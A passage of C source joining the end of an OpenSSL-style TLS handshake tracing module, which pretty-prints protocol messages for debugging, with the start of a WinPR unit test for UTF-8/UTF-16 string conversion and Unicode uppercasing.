xlen -= 2;
ext += 2;
}
break;
case TLSEXT_TYPE_renegotiate:
if (extlen < 1)
return 0;
xlen = ext[0];
if (xlen + 1 != extlen)
return 0;
ext++;
if (xlen) {
if (server) {
if (xlen & 1)
return 0;
xlen >>= 1;
}
ssl_print_hex(bio, indent + 4, "client_verify_data", ext, xlen);
if (server) {
ext += xlen;
ssl_print_hex(bio, indent + 4, "server_verify_data", ext, xlen);
}
} else {
BIO_indent(bio, indent + 4, 80);
BIO_puts(bio, "<EMPTY>\n");
}
break;
case TLSEXT_TYPE_heartbeat:
if (extlen != 1)
return 0;
BIO_indent(bio, indent + 2, 80);
BIO_printf(bio, "HeartbeatMode: %s\n",
ssl_trace_str(ext[0], ssl_hb_tbl));
break;
case TLSEXT_TYPE_session_ticket:
if (extlen != 0)
ssl_print_hex(bio, indent + 4, "ticket", ext, extlen);
break;
default:
BIO_dump_indent(bio, (const char *)ext, extlen, indent + 2);
}
return 1;
}
static int ssl_print_extensions(BIO *bio, int indent, int server,
const unsigned char *msg, size_t msglen)
{
size_t extslen;
BIO_indent(bio, indent, 80);
if (msglen == 0) {
BIO_puts(bio, "No Extensions\n");
return 1;
}
extslen = (msg[0] << 8) | msg[1];
if (extslen != msglen - 2)
return 0;
msg += 2;
msglen = extslen;
BIO_printf(bio, "extensions, length = %d\n", (int)msglen);
while (msglen > 0) {
int extype;
size_t extlen;
if (msglen < 4)
return 0;
extype = (msg[0] << 8) | msg[1];
extlen = (msg[2] << 8) | msg[3];
if (msglen < extlen + 4)
return 0;
msg += 4;
if (!ssl_print_extension(bio, indent + 2, server, extype, msg, extlen))
return 0;
msg += extlen;
msglen -= extlen + 4;
}
return 1;
}
static int ssl_print_client_hello(BIO *bio, SSL *ssl, int indent,
const unsigned char *msg, size_t msglen)
{
size_t len;
unsigned int cs;
if (!ssl_print_version(bio, indent, "client_version", &msg, &msglen))
return 0;
if (!ssl_print_random(bio, indent, &msg, &msglen))
return 0;
if (!ssl_print_hexbuf(bio, indent, "session_id", 1, &msg, &msglen))
return 0;
if (SSL_IS_DTLS(ssl)) {
if (!ssl_print_hexbuf(bio, indent, "cookie", 1, &msg, &msglen))
return 0;
}
if (msglen < 2)
return 0;
len = (msg[0] << 8) | msg[1];
msg += 2;
msglen -= 2;
BIO_indent(bio, indent, 80);
BIO_printf(bio, "cipher_suites (len=%d)\n", (int)len);
if (msglen < len || len & 1)
return 0;
while (len > 0) {
cs = (msg[0] << 8) | msg[1];
BIO_indent(bio, indent + 2, 80);
BIO_printf(bio, "{0x%02X, 0x%02X} %s\n",
msg[0], msg[1], ssl_trace_str(cs, ssl_ciphers_tbl));
msg += 2;
msglen -= 2;
len -= 2;
}
if (msglen < 1)
return 0;
len = msg[0];
msg++;
msglen--;
if (msglen < len)
return 0;
BIO_indent(bio, indent, 80);
BIO_printf(bio, "compression_methods (len=%d)\n", (int)len);
while (len > 0) {
BIO_indent(bio, indent + 2, 80);
BIO_printf(bio, "%s (0x%02X)\n",
ssl_trace_str(msg[0], ssl_comp_tbl), msg[0]);
msg++;
msglen--;
len--;
}
if (!ssl_print_extensions(bio, indent, 0, msg, msglen))
return 0;
return 1;
}
static int dtls_print_hello_vfyrequest(BIO *bio, int indent,
const unsigned char *msg, size_t msglen)
{
if (!ssl_print_version(bio, indent, "server_version", &msg, &msglen))
return 0;
if (!ssl_print_hexbuf(bio, indent, "cookie", 1, &msg, &msglen))
return 0;
return 1;
}
static int ssl_print_server_hello(BIO *bio, int indent,
const unsigned char *msg, size_t msglen)
{
unsigned int cs;
if (!ssl_print_version(bio, indent, "server_version", &msg, &msglen))
return 0;
if (!ssl_print_random(bio, indent, &msg, &msglen))
return 0;
if (!ssl_print_hexbuf(bio, indent, "session_id", 1, &msg, &msglen))
return 0;
if (msglen < 2)
return 0;
cs = (msg[0] << 8) | msg[1];
BIO_indent(bio, indent, 80);
BIO_printf(bio, "cipher_suite {0x%02X, 0x%02X} %s\n",
msg[0], msg[1], ssl_trace_str(cs, ssl_ciphers_tbl));
msg += 2;
msglen -= 2;
if (msglen < 1)
return 0;
BIO_indent(bio, indent, 80);
BIO_printf(bio, "compression_method: %s (0x%02X)\n",
ssl_trace_str(msg[0], ssl_comp_tbl), msg[0]);
msg++;
msglen--;
if (!ssl_print_extensions(bio, indent, 1, msg, msglen))
return 0;
return 1;
}
static int ssl_get_keyex(const char **pname, SSL *ssl)
{
unsigned long alg_k = ssl->s3->tmp.new_cipher->algorithm_mkey;
if (alg_k & SSL_kRSA) {
*pname = "rsa";
return SSL_kRSA;
}
if (alg_k & SSL_kDHE) {
*pname = "DHE";
return SSL_kDHE;
}
if (alg_k & SSL_kECDHE) {
*pname = "ECDHE";
return SSL_kECDHE;
}
if (alg_k & SSL_kPSK) {
*pname = "PSK";
return SSL_kPSK;
}
if (alg_k & SSL_kRSAPSK) {
*pname = "RSAPSK";
return SSL_kRSAPSK;
}
if (alg_k & SSL_kDHEPSK) {
*pname = "DHEPSK";
return SSL_kDHEPSK;
}
if (alg_k & SSL_kECDHEPSK) {
*pname = "ECDHEPSK";
return SSL_kECDHEPSK;
}
if (alg_k & SSL_kSRP) {
*pname = "SRP";
return SSL_kSRP;
}
if (alg_k & SSL_kGOST) {
*pname = "GOST";
return SSL_kGOST;
}
if (alg_k & SSL_kBIGN) {
*pname = "rsa";
return SSL_kBIGN;
}
*pname = "UNKNOWN";
return 0;
}
static int ssl_print_client_keyex(BIO *bio, int indent, SSL *ssl,
const unsigned char *msg, size_t msglen)
{
const char *algname;
int id;
id = ssl_get_keyex(&algname, ssl);
BIO_indent(bio, indent, 80);
BIO_printf(bio, "KeyExchangeAlgorithm=%s\n", algname);
if (id & SSL_PSK) {
if (!ssl_print_hexbuf(bio, indent + 2,
"psk_identity", 2, &msg, &msglen))
return 0;
}
switch (id) {
case SSL_kBIGN:
case SSL_kRSA:
case SSL_kRSAPSK:
if (TLS1_get_version(ssl) == SSL3_VERSION) {
ssl_print_hex(bio, indent + 2,
"EncyptedPreMasterSecret", msg, msglen);
} else {
if (!ssl_print_hexbuf(bio, indent + 2,
"EncyptedPreMasterSecret", 2, &msg, &msglen))
return 0;
}
break;
case SSL_kDHE:
case SSL_kDHEPSK:
if (!ssl_print_hexbuf(bio, indent + 2, "dh_Yc", 2, &msg, &msglen))
return 0;
break;
case SSL_kECDHE:
case SSL_kECDHEPSK:
if (!ssl_print_hexbuf(bio, indent + 2, "ecdh_Yc", 1, &msg, &msglen))
return 0;
break;
}
return !msglen;
}
static int ssl_print_server_keyex(BIO *bio, int indent, SSL *ssl,
const unsigned char *msg, size_t msglen)
{
const char *algname;
int id;
id = ssl_get_keyex(&algname, ssl);
BIO_indent(bio, indent, 80);
BIO_printf(bio, "KeyExchangeAlgorithm=%s\n", algname);
if (id & SSL_PSK) {
if (!ssl_print_hexbuf(bio, indent + 2,
"psk_identity_hint", 2, &msg, &msglen))
return 0;
}
switch (id) {
case SSL_kBIGN:
case SSL_kRSA:
if (!ssl_print_hexbuf(bio, indent + 2, "rsa_modulus", 2, &msg, &msglen))
return 0;
if (!ssl_print_hexbuf(bio, indent + 2, "rsa_exponent", 2,
&msg, &msglen))
return 0;
break;
case SSL_kDHE:
case SSL_kDHEPSK:
if (!ssl_print_hexbuf(bio, indent + 2, "dh_p", 2, &msg, &msglen))
return 0;
if (!ssl_print_hexbuf(bio, indent + 2, "dh_g", 2, &msg, &msglen))
return 0;
if (!ssl_print_hexbuf(bio, indent + 2, "dh_Ys", 2, &msg, &msglen))
return 0;
break;
# ifndef OPENSSL_NO_EC
case SSL_kECDHE:
case SSL_kECDHEPSK:
if (msglen < 1)
return 0;
BIO_indent(bio, indent + 2, 80);
if (msg[0] == EXPLICIT_PRIME_CURVE_TYPE)
BIO_puts(bio, "explicit_prime\n");
else if (msg[0] == EXPLICIT_CHAR2_CURVE_TYPE)
BIO_puts(bio, "explicit_char2\n");
else if (msg[0] == NAMED_CURVE_TYPE) {
int curve;
if (msglen < 3)
return 0;
curve = (msg[1] << 8) | msg[2];
BIO_printf(bio, "named_curve: %s (%d)\n",
ssl_trace_str(curve, ssl_curve_tbl), curve);
msg += 3;
msglen -= 3;
if (!ssl_print_hexbuf(bio, indent + 2, "point", 1, &msg, &msglen))
return 0;
} else {
BIO_printf(bio, "UNKNOWN CURVE PARAMETER TYPE %d\n", msg[0]);
return 0;
}
break;
# endif
case SSL_kPSK:
case SSL_kRSAPSK:
break;
}
if (!(id & SSL_PSK))
ssl_print_signature(bio, indent, ssl, &msg, &msglen);
return !msglen;
}
static int ssl_print_certificate(BIO *bio, int indent,
const unsigned char **pmsg, size_t *pmsglen)
{
size_t msglen = *pmsglen;
size_t clen;
X509 *x;
const unsigned char *p = *pmsg, *q;
if (msglen < 3)
return 0;
clen = (p[0] << 16) | (p[1] << 8) | p[2];
if (msglen < clen + 3)
return 0;
q = p + 3;
BIO_indent(bio, indent, 80);
BIO_printf(bio, "ASN.1Cert, length=%d", (int)clen);
x = d2i_X509(NULL, &q, clen);
if (!x)
BIO_puts(bio, "<UNPARSEABLE CERTIFICATE>\n");
else {
BIO_puts(bio, "\n------details-----\n");
X509_print_ex(bio, x, XN_FLAG_ONELINE, 0);
PEM_write_bio_X509(bio, x);
/* Print certificate stuff */
BIO_puts(bio, "------------------\n");
X509_free(x);
}
if (q != p + 3 + clen) {
BIO_puts(bio, "<TRAILING GARBAGE AFTER CERTIFICATE>\n");
}
*pmsg += clen + 3;
*pmsglen -= clen + 3;
return 1;
}
static int ssl_print_certificates(BIO *bio, int indent,
const unsigned char *msg, size_t msglen)
{
size_t clen;
if (msglen < 3)
return 0;
clen = (msg[0] << 16) | (msg[1] << 8) | msg[2];
if (msglen != clen + 3)
return 0;
msg += 3;
BIO_indent(bio, indent, 80);
BIO_printf(bio, "certificate_list, length=%d\n", (int)clen);
while (clen > 0) {
if (!ssl_print_certificate(bio, indent + 2, &msg, &clen))
return 0;
}
return 1;
}
static int ssl_print_cert_request(BIO *bio, int indent, SSL *s,
const unsigned char *msg, size_t msglen)
{
size_t xlen;
if (msglen < 1)
return 0;
xlen = msg[0];
if (msglen < xlen + 1)
return 0;
msg++;
BIO_indent(bio, indent, 80);
BIO_printf(bio, "certificate_types (len=%d)\n", (int)xlen);
if (!ssl_trace_list(bio, indent + 2, msg, xlen, 1, ssl_ctype_tbl))
return 0;
msg += xlen;
msglen -= xlen + 1;
if (!SSL_USE_SIGALGS(s))
goto skip_sig;
if (msglen < 2)
return 0;
xlen = (msg[0] << 8) | msg[1];
if (msglen < xlen + 2 || (xlen & 1))
return 0;
msg += 2;
BIO_indent(bio, indent, 80);
BIO_printf(bio, "signature_algorithms (len=%d)\n", (int)xlen);
while (xlen > 0) {
BIO_indent(bio, indent + 2, 80);
BIO_printf(bio, "%s+%s (%d+%d)\n",
ssl_trace_str(msg[0], ssl_md_tbl),
ssl_trace_str(msg[1], ssl_sig_tbl), msg[0], msg[1]);
xlen -= 2;
msg += 2;
}
msg += xlen;
msglen -= xlen + 2;
skip_sig:
xlen = (msg[0] << 8) | msg[1];
BIO_indent(bio, indent, 80);
if (msglen < xlen + 2)
return 0;
msg += 2;
msglen -= 2;
BIO_printf(bio, "certificate_authorities (len=%d)\n", (int)xlen);
while (xlen > 0) {
size_t dlen;
X509_NAME *nm;
const unsigned char *p;
if (xlen < 2)
return 0;
dlen = (msg[0] << 8) | msg[1];
if (xlen < dlen + 2)
return 0;
msg += 2;
BIO_indent(bio, indent + 2, 80);
BIO_printf(bio, "DistinguishedName (len=%d): ", (int)dlen);
p = msg;
nm = d2i_X509_NAME(NULL, &p, dlen);
if (!nm) {
BIO_puts(bio, "<UNPARSEABLE DN>\n");
} else {
X509_NAME_print_ex(bio, nm, 0, XN_FLAG_ONELINE);
BIO_puts(bio, "\n");
X509_NAME_free(nm);
}
xlen -= dlen + 2;
msg += dlen;
}
return 1;
}
static int ssl_print_ticket(BIO *bio, int indent,
const unsigned char *msg, size_t msglen)
{
unsigned int tick_life;
if (msglen == 0) {
BIO_indent(bio, indent + 2, 80);
BIO_puts(bio, "No Ticket\n");
return 1;
}
if (msglen < 4)
return 0;
tick_life = (msg[0] << 24) | (msg[1] << 16) | (msg[2] << 8) | msg[3];
msglen -= 4;
msg += 4;
BIO_indent(bio, indent + 2, 80);
BIO_printf(bio, "ticket_lifetime_hint=%u\n", tick_life);
if (!ssl_print_hexbuf(bio, indent + 2, "ticket", 2, &msg, &msglen))
return 0;
if (msglen)
return 0;
return 1;
}
static int ssl_print_handshake(BIO *bio, SSL *ssl,
const unsigned char *msg, size_t msglen,
int indent)
{
size_t hlen;
unsigned char htype;
if (msglen < 4)
return 0;
htype = msg[0];
hlen = (msg[1] << 16) | (msg[2] << 8) | msg[3];
BIO_indent(bio, indent, 80);
BIO_printf(bio, "%s, Length=%d\n",
ssl_trace_str(htype, ssl_handshake_tbl), (int)hlen);
msg += 4;
msglen -= 4;
if (SSL_IS_DTLS(ssl)) {
if (msglen < 8)
return 0;
BIO_indent(bio, indent, 80);
BIO_printf(bio, "message_seq=%d, fragment_offset=%d, "
"fragment_length=%d\n",
(msg[0] << 8) | msg[1],
(msg[2] << 16) | (msg[3] << 8) | msg[4],
(msg[5] << 16) | (msg[6] << 8) | msg[7]);
msg += 8;
msglen -= 8;
}
if (msglen < hlen)
return 0;
switch (htype) {
case SSL3_MT_CLIENT_HELLO:
if (!ssl_print_client_hello(bio, ssl, indent + 2, msg, msglen))
return 0;
break;
case DTLS1_MT_HELLO_VERIFY_REQUEST:
if (!dtls_print_hello_vfyrequest(bio, indent + 2, msg, msglen))
return 0;
break;
case SSL3_MT_SERVER_HELLO:
if (!ssl_print_server_hello(bio, indent + 2, msg, msglen))
return 0;
break;
case SSL3_MT_SERVER_KEY_EXCHANGE:
if (!ssl_print_server_keyex(bio, indent + 2, ssl, msg, msglen))
return 0;
break;
case SSL3_MT_CLIENT_KEY_EXCHANGE:
if (!ssl_print_client_keyex(bio, indent + 2, ssl, msg, msglen))
return 0;
break;
case SSL3_MT_CERTIFICATE:
if (!ssl_print_certificates(bio, indent + 2, msg, msglen))
return 0;
break;
case SSL3_MT_CERTIFICATE_VERIFY:
if (!ssl_print_signature(bio, indent + 2, ssl, &msg, &msglen))
return 0;
break;
case SSL3_MT_CERTIFICATE_REQUEST:
if (!ssl_print_cert_request(bio, indent + 2, ssl, msg, msglen))
return 0;
break;
case SSL3_MT_FINISHED:
ssl_print_hex(bio, indent + 2, "verify_data", msg, msglen);
break;
case SSL3_MT_SERVER_DONE:
if (msglen != 0)
ssl_print_hex(bio, indent + 2, "unexpected value", msg, msglen);
break;
case SSL3_MT_NEWSESSION_TICKET:
if (!ssl_print_ticket(bio, indent + 2, msg, msglen))
return 0;
break;
default:
BIO_indent(bio, indent + 2, 80);
BIO_puts(bio, "Unsupported, hex dump follows:\n");
BIO_dump_indent(bio, (const char *)msg, msglen, indent + 4);
}
return 1;
}
static int ssl_print_heartbeat(BIO *bio, int indent,
const unsigned char *msg, size_t msglen)
{
if (msglen < 3)
return 0;
BIO_indent(bio, indent, 80);
BIO_printf(bio, "HeartBeatMessageType: %s\n",
ssl_trace_str(msg[0], ssl_hb_type_tbl));
msg++;
msglen--;
if (!ssl_print_hexbuf(bio, indent, "payload", 2, &msg, &msglen))
return 0;
ssl_print_hex(bio, indent, "padding", msg, msglen);
return 1;
}
const char *SSL_CIPHER_standard_name(const SSL_CIPHER *c)
{
return ssl_trace_str(c->id & 0xFFFF, ssl_ciphers_tbl);
}
void SSL_trace(int write_p, int version, int content_type,
const void *buf, size_t msglen, SSL *ssl, void *arg)
{
const unsigned char *msg = buf;
BIO *bio = arg;
if (write_p == 2) {
BIO_puts(bio, "Session ");
ssl_print_hex(bio, 0,
ssl_trace_str(content_type, ssl_crypto_tbl), msg, msglen);
return;
}
switch (content_type) {
case SSL3_RT_HEADER:
{
int hvers = msg[1] << 8 | msg[2];
BIO_puts(bio, write_p ? "Sent" : "Received");
BIO_printf(bio, " Record\nHeader:\n Version = %s (0x%x)\n",
ssl_trace_str(hvers, ssl_version_tbl), hvers);
if (SSL_IS_DTLS(ssl)) {
BIO_printf(bio,
" epoch=%d, sequence_number=%04x%04x%04x\n",
(msg[3] << 8 | msg[4]),
(msg[5] << 8 | msg[6]),
(msg[7] << 8 | msg[8]), (msg[9] << 8 | msg[10]));
}
BIO_printf(bio, " Content Type = %s (%d)\n Length = %d",
ssl_trace_str(msg[0], ssl_content_tbl), msg[0],
msg[msglen - 2] << 8 | msg[msglen - 1]);
}
break;
case SSL3_RT_HANDSHAKE:
if (!ssl_print_handshake(bio, ssl, msg, msglen, 4))
BIO_printf(bio, "Message length parse error!\n");
break;
case SSL3_RT_CHANGE_CIPHER_SPEC:
if (msglen == 1 && msg[0] == 1)
BIO_puts(bio, " change_cipher_spec (1)\n");
else
ssl_print_hex(bio, 4, "unknown value", msg, msglen);
break;
case SSL3_RT_ALERT:
if (msglen != 2)
BIO_puts(bio, " Illegal Alert Length\n");
else {
BIO_printf(bio, " Level=%s(%d), description=%s(%d)\n",
SSL_alert_type_string_long(msg[0] << 8),
msg[0], SSL_alert_desc_string_long(msg[1]), msg[1]);
}
case DTLS1_RT_HEARTBEAT:
ssl_print_heartbeat(bio, 4, msg, msglen);
break;
}
BIO_puts(bio, "\n");
}
#endif
|
905603.c |
#include <stdio.h>
#include <winpr/crt.h>
#include <winpr/error.h>
#include <winpr/windows.h>
/* Letters */
static BYTE c_cedilla_UTF8[] = "\xC3\xA7\x00";
static BYTE c_cedilla_UTF16[] = "\xE7\x00\x00\x00";
static int c_cedilla_cchWideChar = 2;
static int c_cedilla_cbMultiByte = 3;
/* English */
static BYTE en_Hello_UTF8[] = "Hello\0";
static BYTE en_Hello_UTF16[] = "\x48\x00\x65\x00\x6C\x00\x6C\x00\x6F\x00\x00\x00";
static int en_Hello_cchWideChar = 6;
static int en_Hello_cbMultiByte = 6;
static BYTE en_HowAreYou_UTF8[] = "How are you?\0";
static BYTE en_HowAreYou_UTF16[] = "\x48\x00\x6F\x00\x77\x00\x20\x00\x61\x00\x72\x00\x65\x00\x20\x00"
"\x79\x00\x6F\x00\x75\x00\x3F\x00\x00\x00";
static int en_HowAreYou_cchWideChar = 13;
static int en_HowAreYou_cbMultiByte = 13;
/* French */
static BYTE fr_Hello_UTF8[] = "Allo\0";
static BYTE fr_Hello_UTF16[] = "\x41\x00\x6C\x00\x6C\x00\x6F\x00\x00\x00";
static int fr_Hello_cchWideChar = 5;
static int fr_Hello_cbMultiByte = 5;
static BYTE fr_HowAreYou_UTF8[] = "\x43\x6F\x6D\x6D\x65\x6E\x74\x20\xC3\xA7\x61\x20\x76\x61\x3F\x00";
static BYTE fr_HowAreYou_UTF16[] = "\x43\x00\x6F\x00\x6D\x00\x6D\x00\x65\x00\x6E\x00\x74\x00\x20\x00"
"\xE7\x00\x61\x00\x20\x00\x76\x00\x61\x00\x3F\x00\x00\x00";
static int fr_HowAreYou_cchWideChar = 15;
static int fr_HowAreYou_cbMultiByte = 16;
/* Russian */
static BYTE ru_Hello_UTF8[] = "\xD0\x97\xD0\xB4\xD0\xBE\xD1\x80\xD0\xBE\xD0\xB2\xD0\xBE\x00";
static BYTE ru_Hello_UTF16[] = "\x17\x04\x34\x04\x3E\x04\x40\x04\x3E\x04\x32\x04\x3E\x04\x00\x00";
static int ru_Hello_cchWideChar = 8;
static int ru_Hello_cbMultiByte = 15;
static BYTE ru_HowAreYou_UTF8[] = "\xD0\x9A\xD0\xB0\xD0\xBA\x20\xD0\xB4\xD0\xB5\xD0\xBB\xD0\xB0\x3F\x00";
static BYTE ru_HowAreYou_UTF16[] = "\x1A\x04\x30\x04\x3A\x04\x20\x00\x34\x04\x35\x04\x3B\x04\x30\x04"
"\x3F\x00\x00\x00";
static int ru_HowAreYou_cchWideChar = 10;
static int ru_HowAreYou_cbMultiByte = 17;
/* Arabic */
static BYTE ar_Hello_UTF8[] = "\xD8\xA7\xD9\x84\xD8\xB3\xD9\x84\xD8\xA7\xD9\x85\x20\xD8\xB9\xD9"
"\x84\xD9\x8A\xD9\x83\xD9\x85\x00";
static BYTE ar_Hello_UTF16[] = "\x27\x06\x44\x06\x33\x06\x44\x06\x27\x06\x45\x06\x20\x00\x39\x06"
"\x44\x06\x4A\x06\x43\x06\x45\x06\x00\x00";
static int ar_Hello_cchWideChar = 13;
static int ar_Hello_cbMultiByte = 24;
static BYTE ar_HowAreYou_UTF8[] = "\xD9\x83\xD9\x8A\xD9\x81\x20\xD8\xAD\xD8\xA7\xD9\x84\xD9\x83\xD8"
"\x9F\x00";
static BYTE ar_HowAreYou_UTF16[] = "\x43\x06\x4A\x06\x41\x06\x20\x00\x2D\x06\x27\x06\x44\x06\x43\x06"
"\x1F\x06\x00\x00";
static int ar_HowAreYou_cchWideChar = 10;
static int ar_HowAreYou_cbMultiByte = 18;
/* Chinese */
static BYTE ch_Hello_UTF8[] = "\xE4\xBD\xA0\xE5\xA5\xBD\x00";
static BYTE ch_Hello_UTF16[] = "\x60\x4F\x7D\x59\x00\x00";
static int ch_Hello_cchWideChar = 3;
static int ch_Hello_cbMultiByte = 7;
static BYTE ch_HowAreYou_UTF8[] = "\xE4\xBD\xA0\xE5\xA5\xBD\xE5\x90\x97\x00";
static BYTE ch_HowAreYou_UTF16[] = "\x60\x4F\x7D\x59\x17\x54\x00\x00";
static int ch_HowAreYou_cchWideChar = 4;
static int ch_HowAreYou_cbMultiByte = 10;
/* Uppercasing */
static BYTE ru_Administrator_lower[] =
"\xd0\x90\xd0\xb4\xd0\xbc\xd0\xb8\xd0\xbd\xd0\xb8\xd1\x81\xd1\x82\xd1\x80\xd0\xb0\xd1\x82\xd0\xbe\xd1\x80\x00";
static BYTE ru_Administrator_upper[] =
"\xd0\x90\xd0\x94\xd0\x9c\xd0\x98\xd0\x9d\xd0\x98\xd0\xa1\xd0\xa2\xd0\xa0\xd0\x90\xd0\xa2\xd0\x9e\xd0\xa0\x00";
void string_hexdump(BYTE* data, int length)
{
BYTE* p = data;
int i, line, offset = 0;
while (offset < length)
{
printf("%04x ", offset);
line = length - offset;
if (line > 16)
line = 16;
for (i = 0; i < line; i++)
printf("%02"PRIx8" ", p[i]);
for (; i < 16; i++)
printf(" ");
for (i = 0; i < line; i++)
printf("%c", (p[i] >= 0x20 && p[i] < 0x7F) ? (char) p[i] : '.');
printf("\n");
offset += line;
p += line;
}
}
int convert_utf8_to_utf16(BYTE* lpMultiByteStr, BYTE* expected_lpWideCharStr, int expected_cchWideChar)
{
int length;
int cbMultiByte;
int cchWideChar;
LPWSTR lpWideCharStr;
cbMultiByte = strlen((char*) lpMultiByteStr);
cchWideChar = MultiByteToWideChar(CP_UTF8, 0, (LPCSTR) lpMultiByteStr, -1, NULL, 0);
printf("MultiByteToWideChar Input UTF8 String:\n");
string_hexdump(lpMultiByteStr, cbMultiByte + 1);
printf("MultiByteToWideChar required cchWideChar: %d\n", cchWideChar);
if (cchWideChar != expected_cchWideChar)
{
printf("MultiByteToWideChar unexpected cchWideChar: actual: %d expected: %d\n",
cchWideChar, expected_cchWideChar);
return -1;
}
lpWideCharStr = (LPWSTR) calloc(cchWideChar, sizeof(WCHAR));
if (!lpWideCharStr)
{
printf("MultiByteToWideChar: unable to allocate memory for test\n");
return -1;
}
lpWideCharStr[cchWideChar - 1] = 0xFFFF; /* should be overwritten if null terminator is inserted properly */
length = MultiByteToWideChar(CP_UTF8, 0, (LPCSTR) lpMultiByteStr, cbMultiByte + 1, lpWideCharStr, cchWideChar);
printf("MultiByteToWideChar converted length (WCHAR): %d\n", length);
if (!length)
{
DWORD error = GetLastError();
printf("MultiByteToWideChar error: 0x%08"PRIX32"\n", error);
return -1;
}
if (length != expected_cchWideChar)
{
printf("MultiByteToWideChar unexpected converted length (WCHAR): actual: %d expected: %d\n",
length, expected_cchWideChar);
return -1;
}
if (_wcscmp(lpWideCharStr, (WCHAR*) expected_lpWideCharStr) != 0)
{
printf("MultiByteToWideChar unexpected string:\n");
printf("UTF8 String:\n");
string_hexdump(lpMultiByteStr, cbMultiByte + 1);
printf("UTF16 String (actual):\n");
string_hexdump((BYTE*) lpWideCharStr, length * sizeof(WCHAR));
printf("UTF16 String (expected):\n");
string_hexdump((BYTE*) expected_lpWideCharStr, expected_cchWideChar * sizeof(WCHAR));
return -1;
}
printf("MultiByteToWideChar Output UTF16 String:\n");
string_hexdump((BYTE*) lpWideCharStr, length * sizeof(WCHAR));
printf("\n");
free(lpWideCharStr);
return length;
}
int convert_utf16_to_utf8(BYTE* lpWideCharStr, BYTE* expected_lpMultiByteStr, int expected_cbMultiByte)
{
int length;
int cchWideChar;
int cbMultiByte;
LPSTR lpMultiByteStr = NULL;
cchWideChar = _wcslen((WCHAR*) lpWideCharStr);
cbMultiByte = WideCharToMultiByte(CP_UTF8, 0, (LPCWSTR) lpWideCharStr, -1, NULL, 0, NULL, NULL);
printf("WideCharToMultiByte Input UTF16 String:\n");
string_hexdump(lpWideCharStr, (cchWideChar + 1) * sizeof(WCHAR));
printf("WideCharToMultiByte required cbMultiByte: %d\n", cbMultiByte);
if (cbMultiByte != expected_cbMultiByte)
{
printf("WideCharToMultiByte unexpected cbMultiByte: actual: %d expected: %d\n",
cbMultiByte, expected_cbMultiByte);
return -1;
}
lpMultiByteStr = (LPSTR) malloc(cbMultiByte);
if (!lpMultiByteStr)
{
printf("WideCharToMultiByte: unable to allocate memory for test\n");
return -1;
}
lpMultiByteStr[cbMultiByte - 1] = (CHAR)0xFF; /* should be overwritten if null terminator is inserted properly */
length = WideCharToMultiByte(CP_UTF8, 0, (LPCWSTR) lpWideCharStr, cchWideChar + 1, lpMultiByteStr, cbMultiByte, NULL, NULL);
printf("WideCharToMultiByte converted length (BYTE): %d\n", length);
if (!length)
{
DWORD error = GetLastError();
printf("WideCharToMultiByte error: 0x%08"PRIX32"\n", error);
return -1;
}
if (length != expected_cbMultiByte)
{
printf("WideCharToMultiByte unexpected converted length (BYTE): actual: %d expected: %d\n",
length, expected_cbMultiByte);
return -1;
}
if (strcmp(lpMultiByteStr, (char*) expected_lpMultiByteStr) != 0)
{
printf("WideCharToMultiByte unexpected string:\n");
printf("UTF16 String:\n");
string_hexdump((BYTE*) lpWideCharStr, (cchWideChar + 1) * sizeof(WCHAR));
printf("UTF8 String (actual):\n");
string_hexdump((BYTE*) lpMultiByteStr, cbMultiByte);
printf("UTF8 String (expected):\n");
string_hexdump((BYTE*) expected_lpMultiByteStr, expected_cbMultiByte);
return -1;
}
printf("WideCharToMultiByte Output UTF8 String:\n");
string_hexdump((BYTE*) lpMultiByteStr, cbMultiByte);
printf("\n");
free(lpMultiByteStr);
return length;
}
BOOL test_unicode_uppercasing(BYTE* lower, BYTE* upper)
{
WCHAR* lowerW = NULL;
int lowerLength;
WCHAR* upperW = NULL;
int upperLength;
lowerLength = ConvertToUnicode(CP_UTF8, 0, (LPSTR) lower, -1, &lowerW, 0);
upperLength = ConvertToUnicode(CP_UTF8, 0, (LPSTR) upper, -1, &upperW, 0);
CharUpperBuffW(lowerW, lowerLength);
if (_wcscmp(lowerW, upperW) != 0)
{
printf("Lowercase String:\n");
string_hexdump((BYTE*) lowerW, lowerLength * 2);
printf("Uppercase String:\n");
string_hexdump((BYTE*) upperW, upperLength * 2);
return FALSE;
}
free(lowerW);
free(upperW);
printf("success\n\n");
return TRUE;
}
BOOL test_ConvertFromUnicode_wrapper()
{
BYTE src1[] = "\x52\x00\x49\x00\x43\x00\x48\x00\x20\x00\x54\x00\x45\x00\x58\x00\x54\x00\x20\x00\x46\x00\x4f\x00\x52\x00\x4d\x00\x41\x00\x54\x00\x40\x00\x40\x00\x40\x00";
BYTE src2[] = "\x52\x00\x49\x00\x43\x00\x48\x00\x20\x00\x54\x00\x45\x00\x58\x00\x54\x00\x20\x00\x46\x00\x4f\x00\x52\x00\x4d\x00\x41\x00\x54\x00\x00\x00";
/* 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 */
CHAR cmp0[] = { 'R','I','C','H',' ','T','E','X','T',' ','F','O','R','M','A','T', 0 };
CHAR* dst = NULL;
int i;
/* Test unterminated unicode string:
* ConvertFromUnicode must always null-terminate, even if the src string isn't
*/
printf("Input UTF16 String:\n");
string_hexdump((BYTE*) src1, 19 * sizeof(WCHAR));
i = ConvertFromUnicode(CP_UTF8, 0, (WCHAR*)src1, 16, &dst, 0, NULL, NULL);
if (i != 16)
{
fprintf(stderr, "ConvertFromUnicode failure A1: unexpectedly returned %d instead of 16\n", i);
goto fail;
}
if (dst == NULL)
{
fprintf(stderr, "ConvertFromUnicode failure A2: destination ist NULL\n");
goto fail;
}
if ((i = strlen(dst)) != 16)
{
fprintf(stderr, "ConvertFromUnicode failure A3: dst length is %d instead of 16\n", i);
goto fail;
}
if (strcmp(dst, cmp0))
{
fprintf(stderr, "ConvertFromUnicode failure A4: data mismatch\n");
goto fail;
}
printf("Output UTF8 String:\n");
string_hexdump((BYTE*) dst, i + 1);
free(dst);
dst = NULL;
/* Test null-terminated string */
printf("Input UTF16 String:\n");
string_hexdump((BYTE*) src2, (_wcslen((WCHAR*)src2) + 1 ) * sizeof(WCHAR));
i = ConvertFromUnicode(CP_UTF8, 0, (WCHAR*)src2, -1, &dst, 0, NULL, NULL);
if (i != 17)
{
fprintf(stderr, "ConvertFromUnicode failure B1: unexpectedly returned %d instead of 17\n", i);
goto fail;
}
if (dst == NULL)
{
fprintf(stderr, "ConvertFromUnicode failure B2: destination ist NULL\n");
goto fail;
}
if ((i = strlen(dst)) != 16)
{
fprintf(stderr, "ConvertFromUnicode failure B3: dst length is %d instead of 16\n", i);
goto fail;
}
if (strcmp(dst, cmp0))
{
